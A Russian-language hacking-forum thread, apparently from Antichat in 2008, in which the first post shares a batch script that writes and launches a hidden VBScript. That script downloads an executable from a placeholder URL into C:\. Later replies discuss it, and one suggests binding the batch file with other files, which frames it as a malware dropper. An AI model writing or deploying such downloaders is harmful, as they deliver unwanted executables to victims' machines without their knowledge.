 |
07.07.2008, 21:12
|
|
Познающий
Регистрация: 25.01.2008
Сообщений: 31
С нами:
9627723
Репутация:
7
|
|
Batch Web Downloader
Простейшая реализация downloader
Правим, сохраняем в *bat\*cmd
Думаю, дальше пояснять не стоит, ибо сложного ничего нет=)
PHP код:
@echo off
set file="http://tvoi_sait.ru/file.exe"
set dlto="C:\"
::----------------
if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs
echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs
start %temp%\dl.vbs
|
|
|
30.07.2008, 00:01
|
|
Новичок
Регистрация: 08.01.2008
Сообщений: 5
С нами:
9652739
Репутация:
0
|
|
Good Man ... But Not To Open Automatically After Download
|
|
|
|
30.07.2008, 00:10
|
|
Познающий
Регистрация: 28.09.2007
Сообщений: 56
С нами:
9799160
Репутация:
86
|
|
а почему бы сразу в вбс не сохранить?
|
|
|
|
30.07.2008, 00:18
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2008
Сообщений: 1,705
С нами:
9384806
Репутация:
1350
|
|
Не понятная затея ,когда есть более мощные утилиты типа wget.
|
|
|
|
06.08.2008, 00:12
|
|
Участник форума
Регистрация: 09.05.2007
Сообщений: 120
С нами:
10003805
Репутация:
69
|
|
Сообщение от galiaff
а почему бы сразу в вбс не сохранить?
А смысл..? легче бат и склеет с чем нибуть.. 
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
